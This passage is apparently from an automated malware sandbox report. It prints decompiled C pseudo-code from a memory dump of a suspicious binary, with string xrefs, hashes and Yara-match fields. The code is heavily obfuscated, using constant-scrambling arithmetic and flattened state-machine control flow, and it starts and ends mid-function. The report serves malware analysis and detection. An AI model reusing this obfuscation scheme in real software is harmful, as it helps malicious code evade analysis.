				_v528 = _v528 ^ 0x16541216;
				_v564 = 0x4186bf;
				_v564 = _v564 >> 0xb;
				_v564 = _v564 ^ 0x0008323b;
				_v616 = 0x3750aa;
				_v616 = _v616 + 0xffffbcbe;
				_v616 = _v616 + 0xffff835a;
				_v616 = _v616 | 0x3cbb8257;
				_v616 = _v616 ^ 0x3cb4f187;
				_v624 = 0x17f460;
				_v624 = _v624 + 0xffffb19b;
				_v624 = _v624 ^ 0x2080664e;
				_v624 = _v624 + 0xffff6d42;
				_v624 = _v624 ^ 0x209d403f;
				_v576 = 0x1158bb;
				_v576 = _v576 + 0xee37;
				_v576 = _v576 * 0x58;
				_v576 = _v576 ^ 0x064c7012;
				_v604 = 0x2baa3d;
				_v604 = _v604 >> 0xd;
				_v604 = _v604 ^ 0x98e766b9;
				_v604 = _v604 + 0x4c48;
				_v604 = _v604 ^ 0x98e41f98;
				_v620 = 0x6fa6d6;
				_v620 = _v620 >> 5;
				_v620 = _v620 / _t282;
				_v620 = _v620 | 0xc886e261;
				_v620 = _v620 ^ 0xc88dbbb8;
				_v548 = 0xe0fc73;
				_v548 = _v548 ^ 0x2ac40ca3;
				_v548 = _v548 ^ 0x2a287985;
				_v584 = 0xee5cba;
				_v584 = _v584 + 0xffffcff7;
				_v584 = _v584 + 0x6b95;
				_v584 = _v584 ^ 0x00e7dbe3;
				_v608 = 0x5f419;
				_v608 = _v608 >> 5;
				_t283 = 0x78;
				_v608 = _v608 * 0x3c;
				_v608 = _v608 ^ 0x09e1dc53;
				_v608 = _v608 ^ 0x09eb01c0;
				_v592 = 0x96a372;
				_v592 = _v592 >> 9;
				_v592 = _v592 ^ 0x6810639e;
				_v592 = _v592 ^ 0x681d828a;
				_v560 = 0x258dfe;
				_v560 = _v560 + 0xfffffbd8;
				_v560 = _v560 ^ 0x002ff2dd;
				_v600 = 0x31486b;
				_v600 = _v600 >> 3;
				_v600 = _v600 + 0xaca7;
				_v600 = _v600 ^ 0x3dc26e9c;
				_v600 = _v600 ^ 0x3dc4b11b;
				_v596 = 0x8b5ce6;
				_v596 = _v596 / _t283;
				_v596 = _v596 | 0xf2a89978;
				_v596 = _v596 ^ 0xf2adb690;
				_v540 = 0x143903;
				_v540 = _v540 >> 0xd;
				_v540 = _v540 ^ 0x000236aa;
				_v536 = 0x86688b;
				_t284 = 0x22;
				_v536 = _v536 * 0x2c;
				_v536 = _v536 ^ 0x171ea9c6;
				_v544 = 0xdb9b0;
				_v544 = _v544 | 0xe72e2065;
				_v544 = _v544 ^ 0xe727c8fd;
				_v568 = 0x9bfe95;
				_v568 = _v568 | 0x6ff05444;
				_t285 = _v524;
				_v568 = _v568 / _t284;
				_v568 = _v568 ^ 0x03415ea7;
				_v552 = 0x5d2fe7;
				_v552 = _v552 << 0x10;
				_v552 = _v552 ^ 0x2fe7e899;
				goto L1;
				do {
					while(1) {
						L1:
						_t291 = _t256 - 0x9d45361;
						if(_t291 > 0) {
							break;
						}
						if(_t291 == 0) {
							E00FB855C( &_v520, _v560, __eflags, _v600, _v596, _t256, _v540);
							 *((intOrPtr*)( *0xfc5218 + 0x448)) = E00FBBD02(_v536, _v544, _v568, _v552);
							L22:
							return _t286;
						}
						if(_t256 == 0xb87700) {
							_t256 = 0x3925c38;
							_v524 = _v612;
							continue;
						}
						if(_t256 == 0x2f2f5f6) {
							_push(_t256);
							_push(_t256);
							_t250 = E00FB5212(0x450);
							_t288 =  &(_t288[3]);
							 *0xfc5218 = _t250;
							_t256 = 0xedae1a9;
							continue;
						}
						if(_t256 == 0x3925c38) {
							E00FAEDC5(_v576, _t285, _v604, _v620);
							_t256 = 0xddbf72d;
							continue;
						}
						if(_t256 != 0x85025e3) {
							goto L19;
						}
						E00FA8D80();
						_t256 = 0x9d45361;
					}
					__eflags = _t256 - 0xc174429;
					if(_t256 == 0xc174429) {
						_t256 = 0xddbf72d;
						_v524 = _v532;
						goto L19;
					}
					__eflags = _t256 - 0xddbf72d;
					if(_t256 == 0xddbf72d) {
						_t240 = E00FAB3B4(_v548, _t256, _v584, _t256, _v608,  *0xfc5218 + 0x18, _v592, _v524);
						_t288 =  &(_t288[7]);
						_t256 = 0x85025e3;
						__eflags = _t240;
						_t241 = 1;
						_t286 =  ==  ? _t241 : _t286;
						goto L1;
					}
					__eflags = _t256 - 0xedae1a9;
					if(_t256 != 0xedae1a9) {
						goto L19;
					}
					_t253 = E00FAACDB(_t256, _v564, _v616, _v580, _t256, _v624);
					_t285 = _t253;
					_t288 =  &(_t288[4]);
					__eflags = _t253;
					if(__eflags == 0) {
						_t256 = 0xc174429;
					} else {
						 *((intOrPtr*)( *0xfc5218 + 0x43c)) = 1;
						_t256 = 0xb87700;
					}
					goto L1;
					L19:
					__eflags = _t256 - 0x18ee40e;
				} while (__eflags != 0);
				goto L22;
			}

0x00fb10cd
0x00fb10d3
0x00fb10dd
0x00fb10e5
0x00fb10ea
0x00fb10f2
0x00fb1104
0x00fb1109
0x00fb110f
0x00fb1117
0x00fb1119
0x00fb1121
0x00fb1129
0x00fb1131
0x00fb1139
0x00fb113e
0x00fb1146
0x00fb114e
0x00fb1156
0x00fb115e
0x00fb1166
0x00fb1172
0x00fb1177
0x00fb117d
0x00fb1182
0x00fb118a
0x00fb1192
0x00fb1197
0x00fb119f
0x00fb11ac
0x00fb11ad
0x00fb11b1
0x00fb11b9
0x00fb11c1
0x00fb11c6
0x00fb11ce
0x00fb11d6
0x00fb11de
0x00fb11e6
0x00fb11ee
0x00fb11f6
0x00fb11fe
0x00fb1206
0x00fb120e
0x00fb1216
0x00fb121e
0x00fb1226
0x00fb1233
0x00fb1237
0x00fb123f
0x00fb1247
0x00fb124c
0x00fb1254
0x00fb125c
0x00fb1264
0x00fb126c
0x00fb1277
0x00fb127b
0x00fb1283
0x00fb128b
0x00fb1293
0x00fb129b
0x00fb12a3
0x00fb12ab
0x00fb12b3
0x00fb12bd
0x00fb12ca
0x00fb12d7
0x00fb12e3
0x00fb12e6
0x00fb12ea
0x00fb12f2
0x00fb12fa
0x00fb1302
0x00fb1307
0x00fb130f
0x00fb1317
0x00fb131f
0x00fb1327
0x00fb132f
0x00fb1337
0x00fb133c
0x00fb1344
0x00fb134c
0x00fb1354
0x00fb1364
0x00fb1368
0x00fb1370
0x00fb1378
0x00fb1380
0x00fb1385
0x00fb138d
0x00fb139a
0x00fb139b
0x00fb139f
0x00fb13a7
0x00fb13af
0x00fb13b7
0x00fb13bf
0x00fb13c7
0x00fb13d5
0x00fb13d9
0x00fb13dd
0x00fb13e5
0x00fb13ed
0x00fb13f2
0x00fb13f2
0x00fb13fa
0x00fb13fa
0x00fb13fa
0x00fb13fa
0x00fb13fc
0x00000000
0x00000000
0x00fb1402
0x00fb1551
0x00fb157e
0x00fb1585
0x00fb1590
0x00fb1590
0x00fb140e
0x00fb147d
0x00fb1482
0x00000000
0x00fb1482
0x00fb1416
0x00fb145e
0x00fb145f
0x00fb1465
0x00fb146a
0x00fb146d
0x00fb1472
0x00000000
0x00fb1472
0x00fb141e
0x00fb1443
0x00fb144a
0x00000000
0x00fb144a
0x00fb1426
0x00000000
0x00000000
0x00fb142c
0x00fb1431
0x00fb1431
0x00fb148b
0x00fb1491
0x00fb1525
0x00fb1527
0x00000000
0x00fb1527
0x00fb1497
0x00fb1499
0x00fb1507
0x00fb150c
0x00fb150f
0x00fb1514
0x00fb1518
0x00fb1519
0x00000000
0x00fb1519
0x00fb149b
0x00fb14a1
0x00000000
0x00000000
0x00fb14b8
0x00fb14bd
0x00fb14bf
0x00fb14c2
0x00fb14c4
0x00fb14de
0x00fb14c6
0x00fb14ce
0x00fb14d4
0x00fb14d4
0x00000000
0x00fb152b
0x00fb152b
0x00fb152b
0x00000000

Strings

/], xrefs: 00FB13E5
HL, xrefs: 00FB1254
NN, xrefs: 00FB1156
7, xrefs: 00FB1226
kH1, xrefs: 00FB132F
fd, xrefs: 00FB1146
e ., xrefs: 00FB13AF

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 7$HL$NN$e .$fd$kH1$/]
API String ID: 0-3661360838
Opcode ID: 4ac2301510bb7ff5cec023b7b476c0bebcf5b882a082160bd7178847cb12fbcc
Instruction ID: c753189deb48f3b4a82f0aa4f30d1e6535b6a6d6a3536c46dd023d0cf9f1dec4
Opcode Fuzzy Hash: 4ac2301510bb7ff5cec023b7b476c0bebcf5b882a082160bd7178847cb12fbcc
Instruction Fuzzy Hash: 50C151725083809BC368CF2AC99A45FBBF1FBC5758F604A1DF29296260D7B58949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 00FAF73B, Relevance: 8.9, Strings: 7, Instructions: 181
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E00FAF73B(void* __edx, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v556;
				intOrPtr _v564;
				char _v592;
				signed int _v596;
				intOrPtr _v600;
				signed int _v604;
				signed int _v608;
				signed int _v612;
				signed int _v616;
				signed int _v620;
				signed int _v624;
				signed int _v628;
				signed int _v632;
				signed int _v636;
				signed int _v640;
				signed int _v644;
				signed int _v648;
				signed int _v652;
				signed int _v656;
				signed int _v660;
				void* __ecx;
				void* _t148;
				void* _t159;
				signed int _t162;
				signed int _t163;
				void* _t171;
				signed int _t175;
				intOrPtr _t191;
				signed int _t192;
				signed int _t193;
				signed int _t194;
				signed int* _t198;

				_t191 = _a16;
				_push(_t191);
				_push(_a12);
				_push(_a8);
				_push(E00FB27C2);
				_push(__edx);
				E00FA358A(_t148);
				_v596 = _v596 & 0x00000000;
				_t198 =  &(( &_v660)[6]);
				_v600 = 0x402688;
				_v604 = 0x25492e;
				_t171 = 0xdac63a8;
				_v604 = _v604 | 0xaef4ed6a;
				_v604 = _v604 ^ 0xaef5ed6c;
				_v652 = 0x2838e9;
				_v652 = _v652 >> 0xa;
				_v652 = _v652 << 3;
				_v652 = _v652 | 0x614731bf;
				_v652 = _v652 ^ 0x614bd185;
				_v624 = 0xf4693d;
				_v624 = _v624 << 0xb;
				_v624 = _v624 << 2;
				_v624 = _v624 ^ 0x8d2695b4;
				_v632 = 0x9094e4;
				_v632 = _v632 >> 4;
				_t192 = 0x68;
				_v632 = _v632 * 0x24;
				_v632 = _v632 ^ 0x014e1cf6;
				_v644 = 0xe7f27d;
				_v644 = _v644 + 0xffffaae4;
				_v644 = _v644 + 0x4248;
				_v644 = _v644 * 0x59;
				_v644 = _v644 ^ 0x50912620;
				_v616 = 0xe211d0;
				_v616 = _v616 / _t192;
				_v616 = _v616 ^ 0x000f0337;
				_v612 = 0x41d4d;
				_t193 = 0x6d;
				_v612 = _v612 / _t193;
				_v612 = _v612 ^ 0x000a96e0;
				_v660 = 0x59117e;
				_v660 = _v660 + 0xffff20e1;
				_v660 = _v660 >> 4;
				_v660 = _v660 + 0x7439;
				_v660 = _v660 ^ 0x0009be27;
				_v636 = 0x1369d9;
				_v636 = _v636 + 0xffffda73;
				_v636 = _v636 + 0xffff9758;
				_v636 = _v636 ^ 0x001025fd;
				_v648 = 0x727c60;
				_v648 = _v648 << 0xe;
				_v648 = _v648 ^ 0xf402b4e8;
				_v648 = _v648 >> 0xb;
				_v648 = _v648 ^ 0x0009ed3b;
				_v656 = 0xc32e83;
				_v656 = _v656 << 0xf;
				_v656 = _v656 << 0xe;
				_t194 = 0x67;
				_v656 = _v656 / _t194;
				_v656 = _v656 ^ 0x00e2da39;
				_v608 = 0x407dcf;
				_v608 = _v608 | 0x4e58c956;
				_v608 = _v608 ^ 0x4e53cb3d;
				_v628 = 0xdc0dfd;
				_v628 = _v628 << 2;
				_v628 = _v628 * 0x29;
				_v628 = _v628 ^ 0x8cfb8f03;
				_v640 = 0x2bb14e;
				_v640 = _v640 << 9;
				_v640 = _v640 << 0xb;
				_v640 = _v640 >> 2;
				_v640 = _v640 ^ 0x053e2e8e;
				_v620 = 0x85f6b7;
				_v620 = _v620 >> 9;
				_v620 = _v620 ^ 0x0003e478;
				_t195 = _v620;
				do {
					while(_t171 != 0x36aba09) {
						if(_t171 == 0x38eb3fe) {
							_t162 = E00FB27C2(_t171,  &_v556,  &_v592);
							asm("sbb ecx, ecx");
							_t175 =  ~_t162 & 0xf8b5f69f;
							L11:
							_t171 = _t175 + 0xab4c36a;
							continue;
						}
						if(_t171 == 0x94e386a) {
							_v556 = 0x22c;
							_t163 = E00FACA5D(_v616,  &_v556, _t195, _v612, _v660, _v636);
							_t198 =  &(_t198[4]);
							asm("sbb ecx, ecx");
							_t175 =  ~_t163 & 0xf8d9f094;
							goto L11;
						}
						if(_t171 == 0xab4c36a) {
							return E00FB4A33(_v640, _v620, _t195);
						}
						if(_t171 != 0xd5d9899) {
							if(_t171 != 0xdac63a8) {
								goto L16;
							} else {
								_v564 = _t191;
								_t171 = 0xd5d9899;
								continue;
							}
							L19:
							return _t163;
						}
						_push(_t171);
						_push(_t171);
						_t163 = E00FC1B99(_t171, _t171, _v604);
						_t195 = _t163;
						_t198 =  &(_t198[4]);
						if(_t163 != 0xffffffff) {
							_t171 = 0x94e386a;
							continue;
						}
						goto L19;
					}
					_t159 = E00FB95C7(_v648,  &_v556, _t195, _v656, _v608, _v628);
					_t198 =  &(_t198[4]);
					if(_t159 == 0) {
						_t171 = 0xab4c36a;
						goto L16;
					} else {
						_t171 = 0x38eb3fe;
						continue;
					}
					goto L19;
					L16:
				} while (_t171 != 0x1f9516d);
				return _t163;
			}

0x00faf745
0x00faf74c
0x00faf74d
0x00faf754
0x00faf75b
0x00faf760
0x00faf762
0x00faf767
0x00faf76c
0x00faf76f
0x00faf779
0x00faf781
0x00faf786
0x00faf78e
0x00faf796
0x00faf79e
0x00faf7a3
0x00faf7a8
0x00faf7b0
0x00faf7b8
0x00faf7c0
0x00faf7c5
0x00faf7ca
0x00faf7d2
0x00faf7da
0x00faf7e6
0x00faf7e9
0x00faf7ed
0x00faf7f5
0x00faf7fd
0x00faf805
0x00faf812
0x00faf816
0x00faf81e
0x00faf82e
0x00faf832
0x00faf83a
0x00faf846
0x00faf84b
0x00faf851
0x00faf859
0x00faf861
0x00faf869
0x00faf86e
0x00faf876
0x00faf87e
0x00faf886
0x00faf88e
0x00faf896
0x00faf89e
0x00faf8a6
0x00faf8ab
0x00faf8b3
0x00faf8b8
0x00faf8c0
0x00faf8c8
0x00faf8cd
0x00faf8d6
0x00faf8d9
0x00faf8dd
0x00faf8e5
0x00faf8ed
0x00faf8f5
0x00faf902
0x00faf90f
0x00faf919
0x00faf91d
0x00faf925
0x00faf92d
0x00faf932
0x00faf937
0x00faf93c
0x00faf944
0x00faf94c
0x00faf951
0x00faf959
0x00faf95d
0x00faf95d
0x00faf96b
0x00fafa13
0x00fafa1c
0x00fafa1e
0x00fafa02
0x00fafa02
0x00000000
0x00fafa02
0x00faf977
0x00faf9d9
0x00faf9ee
0x00faf9f3
0x00faf9fa
0x00faf9fc
0x00000000
0x00faf9fc
0x00faf97b
0x00000000
0x00fafa6c
0x00faf987
0x00faf98f
0x00000000
0x00faf995
0x00faf995
0x00faf999
0x00000000
0x00faf999
0x00fafa77
0x00fafa77
0x00fafa77
0x00faf9b0
0x00faf9b1
0x00faf9b7
0x00faf9bc
0x00faf9be
0x00faf9c4
0x00faf9ca
0x00000000
0x00faf9ca
0x00000000
0x00faf9c4
0x00fafa3b
0x00fafa40
0x00fafa45
0x00fafa4e
0x00000000
0x00fafa47
0x00fafa47
0x00000000
0x00fafa47
0x00000000
0x00fafa50
0x00fafa50
0x00000000

Strings

j8N, xrefs: 00FAF9CA
9t, xrefs: 00FAF86E
.I%, xrefs: 00FAF779
j8N, xrefs: 00FAF971
;, xrefs: 00FAF8B8
HB, xrefs: 00FAF805
8(, xrefs: 00FAF796

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: .I%$9t$;$HB$j8N$j8N$8(
API String ID: 0-1563950138
Opcode ID: 2f72735b594c2b87d92e1f49c911f509b1a78538f78e3b009b847f4b10472e93
Instruction ID: 566a1fc59abea0221165587000c9e04f926a29948d85e606fa4f6609f977407d
Opcode Fuzzy Hash: 2f72735b594c2b87d92e1f49c911f509b1a78538f78e3b009b847f4b10472e93
Instruction Fuzzy Hash: 538199B25093019BC328CF64C58995FBBE0FBC9B58F004A1DF69A56260D375CA08DF47

Uniqueness

Uniqueness Score: -1.00%

Function 00FB6540, Relevance: 8.1, Strings: 6, Instructions: 602
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E00FB6540(signed int __ecx) {
				char _v524;
				char _v1044;
				char _v1564;
				char _v2084;
				char _v2604;
				signed int _v2608;
				signed int _v2612;
				intOrPtr _v2616;
				intOrPtr _v2620;
				intOrPtr _v2624;
				char _v2628;
				intOrPtr _v2632;
				char _v2636;
				signed int _v2640;
				signed int _v2644;
				signed int _v2648;
				signed int _v2652;
				signed int _v2656;
				signed int _v2660;
				signed int _v2664;
				signed int _v2668;
				signed int _v2672;
				signed int _v2676;
				signed int _v2680;
				signed int _v2684;
				signed int _v2688;
				signed int _v2692;
				signed int _v2696;
				signed int _v2700;
				signed int _v2704;
				signed int _v2708;
				signed int _v2712;
				signed int _v2716;
				signed int _v2720;
				signed int _v2724;
				signed int _v2728;
				signed int _v2732;
				signed int _v2736;
				signed int _v2740;
				signed int _v2744;
				signed int _v2748;
				signed int _v2752;
				signed int _v2756;
				signed int _v2760;
				signed int _v2764;
				signed int _v2768;
				signed int _v2772;
				signed int _v2776;
				signed int _v2780;
				signed int _v2784;
				signed int _v2788;
				signed int _v2792;
				signed int _v2796;
				signed int _v2800;
				signed int _v2804;
				signed int _v2808;
				signed int _v2812;
				signed int _v2816;
				signed int _v2820;
				signed int _v2824;
				signed int _v2828;
				signed int _v2832;
				signed int _v2836;
				signed int _v2840;
				signed int _v2844;
				signed int _v2848;
				signed int _v2852;
				signed int _v2856;
				signed int _v2860;
				signed int _v2864;
				signed int _v2868;
				signed int _v2872;
				signed int _v2876;
				signed int _v2880;
				signed int _v2884;
				signed int _v2888;
				signed int _v2892;
				signed int _v2896;
				signed int _v2900;
				signed int _v2904;
				signed int _v2908;
				signed int _v2912;
				signed int _v2916;
				signed int _v2920;
				signed int _v2924;
				void* _t684;
				void* _t688;
				signed int _t689;
				signed int _t694;
				signed int _t697;
				void* _t713;
				void* _t719;
				signed int _t721;
				signed int _t722;
				signed int _t723;
				signed int _t724;
				signed int _t725;
				signed int _t726;
				signed int _t727;
				signed int _t728;
				signed int _t729;
				signed int _t730;
				signed int _t731;
				signed int _t732;
				signed int _t733;
				signed int _t739;
				void* _t742;
				void* _t754;
				void* _t801;
				signed int _t805;
				signed int* _t806;
				void* _t810;

				_t806 =  &_v2924;
				_v2612 = _v2612 & 0x00000000;
				_v2608 = _v2608 & 0x00000000;
				_v2616 = 0xaa4f49;
				_v2744 = 0x2f620d;
				_v2744 = _v2744 + 0x62d8;
				_v2744 = _v2744 ^ 0x002fc4cc;
				_v2656 = 0x2cfaec;
				_v2656 = _v2656 ^ 0x0cd2161f;
				_v2656 = _v2656 ^ 0x0ceeecf3;
				_v2920 = 0x32c716;
				_v2920 = _v2920 << 0xf;
				_v2920 = _v2920 * 0x3b;
				_t805 = __ecx;
				_v2920 = _v2920 | 0x68b4bac1;
				_t801 = 0x2549caa;
				_v2920 = _v2920 ^ 0xf9b543d8;
				_v2784 = 0x32d4e6;
				_v2784 = _v2784 >> 7;
				_t721 = 0x2c;
				_v2784 = _v2784 / _t721;
				_v2784 = _v2784 ^ 0x0000a674;
				_v2864 = 0xb319fb;
				_v2864 = _v2864 + 0xd9e1;
				_v2864 = _v2864 + 0xffff00cf;
				_v2864 = _v2864 + 0xffffd85e;
				_v2864 = _v2864 ^ 0x00b26dd6;
				_v2660 = 0xb27e25;
				_v2660 = _v2660 + 0xffffdfd3;
				_v2660 = _v2660 ^ 0x00b99797;
				_v2716 = 0xc7fe75;
				_v2716 = _v2716 + 0xffff31f2;
				_v2716 = _v2716 ^ 0x00c78a4c;
				_v2640 = 0xaeac8;
				_v2640 = _v2640 >> 0xe;
				_v2640 = _v2640 ^ 0x000277b4;
				_v2908 = 0x10077a;
				_v2908 = _v2908 + 0x68bd;
				_v2908 = _v2908 + 0xffff2116;
				_v2908 = _v2908 ^ 0xc54851cd;
				_v2908 = _v2908 ^ 0xc544d31b;
				_v2736 = 0x20a398;
				_v2736 = _v2736 + 0xffff0563;
				_v2736 = _v2736 ^ 0x001e08ef;
				_v2780 = 0x1d5a40;
				_v2780 = _v2780 + 0xfffff9c7;
				_v2780 = _v2780 + 0xffff794c;
				_v2780 = _v2780 ^ 0x0014447a;
				_v2916 = 0x29a4cb;
				_v2916 = _v2916 + 0xffff976d;
				_v2916 = _v2916 << 0xc;
				_v2916 = _v2916 ^ 0xd9e702bb;
				_v2916 = _v2916 ^ 0x4a29d2a0;
				_v2892 = 0xf9f655;
				_v2892 = _v2892 | 0x0b15f937;
				_v2892 = _v2892 + 0x9fa5;
				_v2892 = _v2892 << 0xf;
				_v2892 = _v2892 ^ 0x4f87a491;
				_v2804 = 0x8782fc;
				_v2804 = _v2804 ^ 0xdd81eb44;
				_v2804 = _v2804 + 0xffff6092;
				_v2804 = _v2804 ^ 0xdd08276f;
				_v2900 = 0x145bb0;
				_v2900 = _v2900 ^ 0xbb062dbe;
				_v2900 = _v2900 << 0xb;
				_t722 = 0x47;
				_v2900 = _v2900 / _t722;
				_v2900 = _v2900 ^ 0x02171860;
				_v2884 = 0xa0bec9;
				_v2884 = _v2884 + 0xe73b;
				_t723 = 9;
				_v2884 = _v2884 / _t723;
				_v2884 = _v2884 << 5;
				_v2884 = _v2884 ^ 0x023b27f7;
				_v2728 = 0x769a57;
				_v2728 = _v2728 ^ 0xf82d310f;
				_v2728 = _v2728 ^ 0xf85c91ef;
				_v2860 = 0x37f683;
				_v2860 = _v2860 | 0xf0b97ca0;
				_v2860 = _v2860 ^ 0xe1b88346;
				_v2860 = _v2860 | 0x851887c8;
				_v2860 = _v2860 ^ 0x95163fc9;
				_v2868 = 0xd98716;
				_t724 = 0x43;
				_v2868 = _v2868 * 0x4b;
				_v2868 = _v2868 * 0x55;
				_v2868 = _v2868 / _t724;
				_v2868 = _v2868 ^ 0x009101df;
				_v2876 = 0xf11c91;
				_t725 = 0x4b;
				_v2876 = _v2876 / _t725;
				_t726 = 5;
				_v2876 = _v2876 * 0x2a;
				_v2876 = _v2876 >> 1;
				_v2876 = _v2876 ^ 0x004ca641;
				_v2832 = 0x3a7ad7;
				_v2832 = _v2832 + 0xffff0fb3;
				_v2832 = _v2832 ^ 0x7ad81000;
				_v2832 = _v2832 ^ 0x7aee2116;
				_v2844 = 0xc3babb;
				_v2844 = _v2844 >> 7;
				_v2844 = _v2844 ^ 0x8633c317;
				_v2844 = _v2844 ^ 0x863d303c;
				_v2796 = 0xf9f147;
				_v2796 = _v2796 * 0x1f;
				_v2796 = _v2796 * 0x4e;
				_v2796 = _v2796 ^ 0x38ccc6dc;
				_v2720 = 0x9c53e2;
				_v2720 = _v2720 * 0x57;
				_v2720 = _v2720 ^ 0x35251ab4;
				_v2764 = 0x1fe5b6;
				_v2764 = _v2764 | 0x49ac0c10;
				_v2764 = _v2764 * 0x1c;
				_v2764 = _v2764 ^ 0x10f7ba24;
				_v2816 = 0xc0bc9a;
				_v2816 = _v2816 + 0xffff3013;
				_v2816 = _v2816 / _t726;
				_v2816 = _v2816 ^ 0x00296678;
				_v2704 = 0xc38c22;
				_v2704 = _v2704 + 0xffff365c;
				_v2704 = _v2704 ^ 0x00cf5b8a;
				_v2712 = 0x642ede;
				_v2712 = _v2712 >> 0xa;
				_v2712 = _v2712 ^ 0x000e1ac4;
				_v2824 = 0x293da3;
				_v2824 = _v2824 + 0xffff648f;
				_v2824 = _v2824 << 4;
				_v2824 = _v2824 ^ 0x028d8b63;
				_v2792 = 0xe42bc6;
				_v2792 = _v2792 | 0xdbd15fbe;
				_v2792 = _v2792 >> 4;
				_v2792 = _v2792 ^ 0x0db3b95e;
				_v2800 = 0x863821;
				_v2800 = _v2800 >> 1;
				_v2800 = _v2800 + 0xd3a0;
				_v2800 = _v2800 ^ 0x0044dfda;
				_v2808 = 0x925047;
				_v2808 = _v2808 << 1;
				_v2808 = _v2808 ^ 0xaf5f3bf9;
				_v2808 = _v2808 ^ 0xae7db7f1;
				_v2756 = 0xe94a86;
				_v2756 = _v2756 ^ 0xc8b33b3f;
				_v2756 = _v2756 | 0xcc5831a0;
				_v2756 = _v2756 ^ 0xcc58e7e2;
				_v2700 = 0xc5ee34;
				_v2700 = _v2700 ^ 0x0c8e0e62;
				_v2700 = _v2700 ^ 0x0c4df504;
				_v2692 = 0xdacd2e;
				_v2692 = _v2692 | 0x1b4c4552;
				_v2692 = _v2692 ^ 0x1bd43d8f;
				_v2652 = 0x8d1e3c;
				_v2652 = _v2652 | 0x25fd472e;
				_v2652 = _v2652 ^ 0x25f41f2e;
				_v2872 = 0x385869;
				_t727 = 0x67;
				_v2872 = _v2872 * 0x72;
				_v2872 = _v2872 >> 0xf;
				_v2872 = _v2872 | 0xb7fb6a2a;
				_v2872 = _v2872 ^ 0xb7ff0374;
				_v2812 = 0xdd1f2e;
				_v2812 = _v2812 * 0x75;
				_v2812 = _v2812 >> 5;
				_v2812 = _v2812 ^ 0x032df31a;
				_v2740 = 0xea916c;
				_v2740 = _v2740 | 0xee59dc55;
				_v2740 = _v2740 ^ 0xeef8a503;
				_v2676 = 0xf7667b;
				_v2676 = _v2676 | 0x312cb279;
				_v2676 = _v2676 ^ 0x31f069d6;
				_v2684 = 0x26b238;
				_v2684 = _v2684 * 0x38;
				_v2684 = _v2684 ^ 0x08791e35;
				_v2924 = 0x9d8ac4;
				_v2924 = _v2924 << 1;
				_v2924 = _v2924 ^ 0xedefc6df;
				_v2924 = _v2924 | 0x7e502baa;
				_v2924 = _v2924 ^ 0xfeda65da;
				_v2888 = 0xed10c6;
				_v2888 = _v2888 << 8;
				_v2888 = _v2888 * 0x24;
				_v2888 = _v2888 >> 0xc;
				_v2888 = _v2888 ^ 0x000919c0;
				_v2664 = 0x1f3552;
				_v2664 = _v2664 / _t727;
				_v2664 = _v2664 ^ 0x000b6060;
				_v2752 = 0x47b9f5;
				_v2752 = _v2752 + 0xffffdbc2;
				_v2752 = _v2752 * 0x52;
				_v2752 = _v2752 ^ 0x16ea1dfc;
				_v2760 = 0x3ff7db;
				_v2760 = _v2760 ^ 0x4f7326af;
				_v2760 = _v2760 | 0xe6039ada;
				_v2760 = _v2760 ^ 0xef494a35;
				_v2768 = 0xda61e4;
				_v2768 = _v2768 ^ 0xde1baa62;
				_v2768 = _v2768 + 0xffffd49f;
				_v2768 = _v2768 ^ 0xdec3f05a;
				_v2688 = 0x5b052b;
				_v2688 = _v2688 | 0xb7018ea2;
				_v2688 = _v2688 ^ 0xb75acc84;
				_v2696 = 0xc8e0b;
				_v2696 = _v2696 + 0x26e;
				_v2696 = _v2696 ^ 0x000fb538;
				_v2776 = 0xe18ab3;
				_t728 = 0x55;
				_v2776 = _v2776 * 0x78;
				_v2776 = _v2776 + 0xffffbb5d;
				_v2776 = _v2776 ^ 0x69bff61f;
				_v2912 = 0xa4fec3;
				_v2912 = _v2912 ^ 0x5d1cdb4c;
				_v2912 = _v2912 + 0xffffd6eb;
				_v2912 = _v2912 + 0xffffe766;
				_v2912 = _v2912 ^ 0x5db0f62f;
				_v2856 = 0x49daf8;
				_v2856 = _v2856 * 0x42;
				_v2856 = _v2856 >> 4;
				_v2856 = _v2856 | 0x138dbc56;
				_v2856 = _v2856 ^ 0x13bbcd08;
				_v2672 = 0xb54fbf;
				_v2672 = _v2672 << 8;
				_v2672 = _v2672 ^ 0xb5430561;
				_v2648 = 0x98267;
				_v2648 = _v2648 + 0xad8e;
				_v2648 = _v2648 ^ 0x000177aa;
				_v2904 = 0x97baa2;
				_v2904 = _v2904 ^ 0x3853038d;
				_v2904 = _v2904 >> 0x10;
				_v2904 = _v2904 ^ 0xc801ad05;
				_v2904 = _v2904 ^ 0xc80c5adf;
				_v2840 = 0xdada91;
				_v2840 = _v2840 >> 5;
				_v2840 = _v2840 + 0xffffcc86;
				_v2840 = _v2840 ^ 0x000ee60b;
				_v2880 = 0x4b131c;
				_v2880 = _v2880 ^ 0x8c36c4d4;
				_t729 = 0x2b;
				_v2880 = _v2880 / _t728;
				_v2880 = _v2880 ^ 0xf9d4cca3;
				_v2880 = _v2880 ^ 0xf87ce1c2;
				_v2828 = 0xc64ac5;
				_v2828 = _v2828 / _t729;
				_v2828 = _v2828 << 0x10;
				_v2828 = _v2828 ^ 0x9c8278ff;
				_v2668 = 0x64007c;
				_v2668 = _v2668 << 1;
				_v2668 = _v2668 ^ 0x00cf46fd;
				_v2732 = 0xb494ea;
				_v2732 = _v2732 ^ 0x89f26255;
				_v2732 = _v2732 ^ 0x894c3b6b;
				_v2772 = 0x969b28;
				_v2772 = _v2772 + 0x56d6;
				_v2772 = _v2772 ^ 0xd5bd63f1;
				_v2772 = _v2772 ^ 0xd52a3e3a;
				_v2820 = 0x13a0c3;
				_v2820 = _v2820 << 0xc;
				_v2820 = _v2820 << 0xd;
				_v2820 = _v2820 ^ 0x8601b35f;
				_v2896 = 0xeae219;
				_v2896 = _v2896 + 0xb714;
				_v2896 = _v2896 + 0xf633;
				_v2896 = _v2896 ^ 0xa59ae388;
				_v2896 = _v2896 ^ 0xa57f69c1;
				_v2644 = 0xfd8482;
				_v2644 = _v2644 ^ 0x7dcc11e0;
				_v2644 = _v2644 ^ 0x7d3a680c;
